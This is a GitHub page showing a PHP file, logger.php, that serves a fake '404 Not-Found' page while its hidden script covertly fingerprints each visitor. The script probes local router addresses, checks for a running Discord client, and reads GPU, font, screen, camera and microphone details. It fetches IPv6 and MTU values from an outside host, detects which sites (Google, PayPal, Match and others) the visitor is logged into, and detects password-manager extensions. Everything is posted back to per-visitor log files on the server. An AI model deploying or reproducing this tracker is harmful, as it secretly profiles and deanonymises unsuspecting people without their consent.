-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathlogger.php
494 lines (407 loc) · 16.4 KB
/
logger.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
<?php
session_start();
if (isset($_POST['k']) && isset($_POST['v'])){ // If the browser is POSTING the gathered data to us
// If it's the first time this user has had this IP address, or user agent.
if (!in_array($_SERVER['REMOTE_ADDR'], $_SESSION['ips']) || !in_array($_SERVER['HTTP_USER_AGENT'], $_SESSION['agents'])){
if (!in_array($_SERVER['REMOTE_ADDR'], $_SESSION['ips'])){
array_push($_SESSION['ips'], $_SERVER['REMOTE_ADDR']);
}
if (!in_array($_SERVER['HTTP_USER_AGENT'], $_SESSION['agents'])){
array_push($_SESSION['agents'], $_SERVER['HTTP_USER_AGENT']);
}
$fileContents = file_get_contents($_SESSION['fileName']);
file_put_contents($_SESSION['fileName'], $_SERVER['REMOTE_ADDR'] . " -- " . $_SERVER['HTTP_USER_AGENT'] . "\n" . $fileContents);
}
// If this IP or User-Agent is different than the last one we got
if ($_SESSION['latestIP'] != $_SERVER['REMOTE_ADDR'] || $_SESSION['latestUA'] != $_SERVER['HTTP_USER_AGENT']){
$_SESSION['latestIP'] = $_SERVER['REMOTE_ADDR'];
$_SESSION['latestUA'] = $_SERVER['HTTP_USER_AGENT'];
file_put_contents($_SESSION['fileName'], $_SERVER['REMOTE_ADDR'] . " -- " . $_SERVER['HTTP_USER_AGENT'] . "\n" . $fileContents);
}
file_put_contents($_SESSION['fileName'], $_POST['k'] . ": " . $_POST['v'] . "\n", FILE_APPEND | LOCK_EX);
return;
}
// If it's just a GET request
// If we haven't initialized a session yet
if (!array_key_exists('firstSeen', $_SESSION)){
if (!file_exists('output/')) {
mkdir('output', 0777, true);
}
$_SESSION['firstSeen'] = date("Y-m-d-h:i:s");
$_SESSION['fileName'] = 'output/' . $_SESSION['firstSeen'] . "-" . $_SERVER['REMOTE_ADDR'] . ".txt";
$_SESSION['ips'] = array();
$_SESSION['agents'] = array();
file_put_contents($_SESSION['fileName'], "");
}
// If we have a referer add it to their log file
if (isset($_SERVER['HTTP_REFERER'])){
file_put_contents($_SESSION['fileName'], $_SERVER['HTTP_REFERER'] . "\n", FILE_APPEND | LOCK_EX);
}
?>
<title>404 Not-Found</title>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<style>
html {
height: 100%;
}
body{
font-family: 'Lato', sans-serif;
color: #888;
margin: 0;
}
#main{
display: table;
width: 100%;
height: 100vh;
text-align: center;
}
.fof{
display: table-cell;
vertical-align: middle;
}
.fof h1{
font-size: 50px;
display: inline-block;
padding-right: 12px;
animation: type .5s alternate infinite;
}
</style>
<script>
var running = 0;
var resp = {};
let touch = false;
function submitResult(k, v) {
$.ajax({
type: 'POST',
url: window.location,
data: {
'k': k,
'v': v
},
success: function(msg){
}
});
}
submitResult('url', window.location.href);
window.onload = function(){
// Check if touch is enabled
try {
running++
document.createEvent("TouchEvent");
submitResult('touch', true);
//resp['touch'] = true;
} catch (e) {
submitResult('touch', false);
//resp['touch'] = false;
}
// Try connectng to router IP addresses
var route = "";
function checkForRouter(ip){
$.ajax({
url: ip,
dataType: "html",
cache: "false",
complete: function(one, two) {
if (two == "success" || two == "error") {
if (route == "") {
route = ip;
//resp['router'] = ip;
submitResult('router', ip);
}
} else {
if (route == "") {
//resp['router'] = false;
}
}
},
timeout: 2000
});
}
running++
//resp['router'] = "";
checkForRouter("https://192.168.0.1");
checkForRouter("https://192.168.0.254");
checkForRouter("https://10.0.0.1");
checkForRouter("https://10.0.0.254");
checkForRouter("https://192.168.1.1");
checkForRouter("https://192.168.1.254");
checkForRouter("https://172.16.0.1");
checkForRouter("https://172.16.0.254");
checkForRouter("https://172.16.1.1");
checkForRouter("https://172.16.1.254");
// Get GPU info to further verify platform
running++
function getUnmaskedInfo(gl) {
var unMaskedInfo = {
renderer: '',
vendor: ''
};
var dbgRenderInfo = gl.getExtension("WEBGL_debug_renderer_info");
if (dbgRenderInfo != null) {
unMaskedInfo.renderer = gl.getParameter(dbgRenderInfo.UNMASKED_RENDERER_WEBGL);
unMaskedInfo.vendor = gl.getParameter(dbgRenderInfo.UNMASKED_VENDOR_WEBGL);
}
return unMaskedInfo;
}
var canvas;
canvas = document.getElementById("glcanvas");
var gl = canvas.getContext("experimental-webgl");
//resp['gpu'] = getUnmaskedInfo(gl).renderer;
submitResult('gpu', getUnmaskedInfo(gl).renderer);
// Get OS/browser info
running += 4;
//resp['browser'] = navigator.appCodeName;
//resp['browserVersion'] = navigator.appVersion;
//resp['renderer'] = navigator.product;
//resp['platform'] = navigator.platform;
submitResult('browserVersion', navigator.appVersion);
submitResult('renderer', navigator.product);
submitResult('platform', navigator.platform);
// Get screen X/Y
running += 2;
//resp['ScreenX'] = screen.width;
submitResult("Screen Width", screen.width);
//resp['ScreenY'] = screen.height;
submitResult('Screen Height', screen.height);
running += 2;
// Detect AV input
navigator.mediaDevices.enumerateDevices()
.then(function(devices) {
devices.forEach(function(device) {
if (device.kind == "audioinput"){
//resp['mic'] = 'Found';
submitResult('mic', 'Found');
} else if (device.kind == "videoinput"){
//resp['webcam'] = 'Found';
submitResult('webcam', 'Found');
}
});
})
.catch(function(err) {
});
if ('mic' in resp) {
} else {
//resp['mic'] = "Not found";
}
if ('webcam' in resp) {
} else {
//resp['webcam'] = "Not found";
}
running++
// Get IPV6 address
$.ajax({
url: "https://ipv6.hastysec.dev",
dataType: "text",
cache: "false",
complete: function(one, two) {
if (two == "success") {
//resp['ipv6'] = one.responseText;
submitResult('ipv6', one.responseText);
} else {
//resp['ipv6'] = "Unable to retrieve";
submitResult('ipv6', "Unable to retrieve");
}
},
error: function(one, two, three) {
//resp['ipv6'] = "Unable to retrieve";
submitResult('ipv6', "Unable to retrieve");
},
timeout: 3000
});
running++
// Get request packet info
$.ajax({
url: "https://mtu.hastysec.dev",
dataType: "text",
cache: "false",
complete: function(one, two) {
if (two == "success") {
//resp['mtu'] = one.responseText;
submitResult('mtu', one.responseText);
} else {//if (two == "timeout") {
//resp['mtu'] = "Unable to retrieve";
submitResult('mtu', "Unable to retrieve");
}
},
error: function(one, two, three) {
//resp['mtu'] = "Unable to retrieve";
submitResult('mtu', "Unable to retrieve");
},
timeout: 3000
});
running++
// Is discord open?
$.ajax({
url: "http://127.0.0.1:6463/",
dataType: "text",
cache: "false",
error: function(one, two, three) {
if (three === "Not Found") {
//resp['discord'] = "Running";
submitResult('Discord', "Running");
} else {
//resp['discord'] = "Not running";
submitResult('Discord', "Not Running");
}
},
timeout: 1000
});
// Get fonts
running ++
const fontCheck = new Set([
// Windows 10
'Arial', 'Arial Black', 'Bahnschrift', 'Calibri', 'Cambria', 'Cambria Math', 'Candara', 'Comic Sans MS', 'Consolas', 'Constantia', 'Corbel', 'Courier New', 'Ebrima', 'Franklin Gothic Medium', 'Gabriola', 'Gadugi', 'Georgia', 'HoloLens MDL2 Assets', 'Impact', 'Ink Free', 'Javanese Text', 'Leelawadee UI', 'Lucida Console', 'Lucida Sans Unicode', 'Malgun Gothic', 'Marlett', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft Sans Serif', 'Microsoft Tai Le', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU-ExtB', 'Mongolian Baiti', 'MS Gothic', 'MV Boli', 'Myanmar Text', 'Nirmala UI', 'Palatino Linotype', 'Segoe MDL2 Assets', 'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Historic', 'Segoe UI Emoji', 'Segoe UI Symbol', 'SimSun', 'Sitka', 'Sylfaen', 'Symbol', 'Tahoma', 'Times New Roman', 'Trebuchet MS', 'Verdana', 'Webdings', 'Wingdings', 'Yu Gothic',
// macOS
'American Typewriter', 'Andale Mono', 'Arial', 'Arial Black', 'Arial Narrow', 'Arial Rounded MT Bold', 'Arial Unicode MS', 'Avenir', 'Avenir Next', 'Avenir Next Condensed', 'Baskerville', 'Big Caslon', 'Bodoni 72', 'Bodoni 72 Oldstyle', 'Bodoni 72 Smallcaps', 'Bradley Hand', 'Brush Script MT', 'Chalkboard', 'Chalkboard SE', 'Chalkduster', 'Charter', 'Cochin', 'Comic Sans MS', 'Copperplate', 'Courier', 'Courier New', 'Didot', 'DIN Alternate', 'DIN Condensed', 'Futura', 'Geneva', 'Georgia', 'Gill Sans', 'Helvetica', 'Helvetica Neue', 'Herculanum', 'Hoefler Text', 'Impact', 'Lucida Grande', 'Luminari', 'Marker Felt', 'Menlo', 'Microsoft Sans Serif', 'Monaco', 'Noteworthy', 'Optima', 'Palatino', 'Papyrus', 'Phosphate', 'Rockwell', 'Savoye LET', 'SignPainter', 'Skia', 'Snell Roundhand', 'Tahoma', 'Times', 'Times New Roman', 'Trattatello', 'Trebuchet MS', 'Verdana', 'Zapfino',
].sort());
const fontAvailable = new Set();
for (const font of fontCheck.values()) {
if (document.fonts.check(`12px "${font}"`)) {
fontAvailable.add(font);
}
}
let browserFonts = [...fontAvailable.values()];
//resp['fonts'] = browserFonts.length + " fonts: " + browserFonts;
submitResult('Fonts', browserFonts.length + " fonts: " + browserFonts);
// Get logged in websites
function checkLogin(website, url){
runningLogins++;
var img = new Image();
img.setAttribute("style","visibility:hidden");
img.setAttribute("width","0");
img.setAttribute("height","0");
img.src = url + "?&" + new Date().getTime();
img.setAttribute("attr","start");
img.onerror = function() {
runningLogins--;
};
img.onload = function() {
//resp['logins'].push(website)
foundLogins.push(website);
runningLogins--;
};
document.body.appendChild(img);
}
foundLogins = [];
runningLogins = 0;
logins = {}
logins["Google Services"] = "https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico";
logins["Paypal"] = "https://www.paypal.com/signin?returnUri=favicon.ico";
logins["Instagram"] = "https://www.instagram.com/accounts/login/?next=%2Ffavicon.ico";
logins["Facebook"] = "https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico";
logins["Twitter"] = "https://twitter.com/login?redirect_after_login=/favicon.ico";
logins["Amazon"] = "https://www.amazon.com/ap/signin?_encoding=UTF8&accountStatusPolicy=P1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico&pageId=webcs-yourorder&showRmrMe=1";
logins["Yahoo"] = "https://login.yahoo.com/?.src=ym&.partner=none&.lang=en-CA&.intl=ca&.done=https%3A%2F%2Fmail.yahoo.com%2Ffavicon.ico";
logins["Hotmail"] = "https://storage.live.com/mydata/myprofile/expressionprofile/profilephoto:UserTileStatic,UserTileSmall/MeControlMediumUserTile?ck=1&ex=24&fofoff=1";
logins["Match"] = "https://www.match.com/login?to=/favicon.ico";
//resp['logins'] = [];
running++;
for (var key in logins){
if (logins.hasOwnProperty(key)){
checkLogin(key, logins[key]);
}
}
// Submit found logins once all websites are checked
function submitLogins(){
if (runningLogins > 0){
setTimeout(submitLogins, 500);
} else {
submitResult("Logins", foundLogins.toString())
}
}
submitLogins();
// Get installed browser plugins (Chrome only)
function checkExtension(name, url){
runningExt++;
$.ajax({
url: url,
cache: "false",
complete: function(one, two) {
if (two == "success"){
//resp['extensions'].push(name)
foundExt.push(name);
}
runningExt--;
},
error: function(one, two, three) {
runningExt--;
},
timeout: 1000
});
}
foundExt = [];
runningExt = 0;
extensions = {};
extensions['Hunchly'] = 'chrome-extension://amfnegileeghgikpggcebehdepknalbf/content-script/modal.css';
extensions['KeepassXC'] = 'chrome-extension://oboonakemofpalcgghocfoadofidjkkk/icons/otp.svg';
extensions['Bitwarden'] = 'chrome-extension://nngceckbapebfimnlniiiahkandclblb/notification/bar.html';
extensions['Lastpass'] = 'chrome-extension://hdokiejnpimakedhajhdlcegeplioahd/overlay.html';
extensions['User-Agent Switcher for Chrome'] = 'chrome-extension://djflhoibgkdhkhhcedjiklpkjnoahfmg/jquery.js';
extensions['User Agent Switcher'] = 'chrome-extension://kchfmpdcejfkipopnolndinkeoipnoia/jquery.js';
extensions['Chrome Media Router'] = 'chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_sender.js';
//resp['extensions'] = [];
running++;
for (var key in extensions){
if (extensions.hasOwnProperty(key)){
checkExtension(key, extensions[key]);
}
}
// Submit found logins once all websites are checked
function submitExts(){
if (runningExt > 0){
setTimeout(submitExts, 500);
} else {
submitResult("Extensions", foundExt.toString());
}
}
submitExts();
// Get system language
running++
//resp['language'] = navigator.language;
submitResult("Language", navigator.language);
// Get system time
running++
var today = new Date();
var date = today.getFullYear()+'-'+(today.getMonth()+1)+'-'+today.getDate();
var time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
//resp['System Time'] = date+' '+time;
submitResult("System Time", date+' '+time)
// Wait for all results before POSTing to server
// Or wait 5 seconds
var sent = false;
// function wait(){
// if (Object.keys(resp).length < running) {
// setTimeout(wait, 500);
// } else {
// var d = "";
// for (var key in resp){
// if (resp.hasOwnProperty(key)) {
// d = d + key + ": " + resp[key] + "\n";
// }
// }
// // Send POST to server
// $.ajax({
// type: 'POST',
// url: window.location,
// data: {
// 'd': d
// },
// success: function(msg){
// }
// });
// sent = true;
// }
// }
// wait()
}
</script>
<canvas id="glcanvas" width="0" height="0"></canvas>
<body>
<div id="main">
<div class="fof">
<h1>The requested page has been removed</h1>
</div>
</div>
</body>
<script>
</script>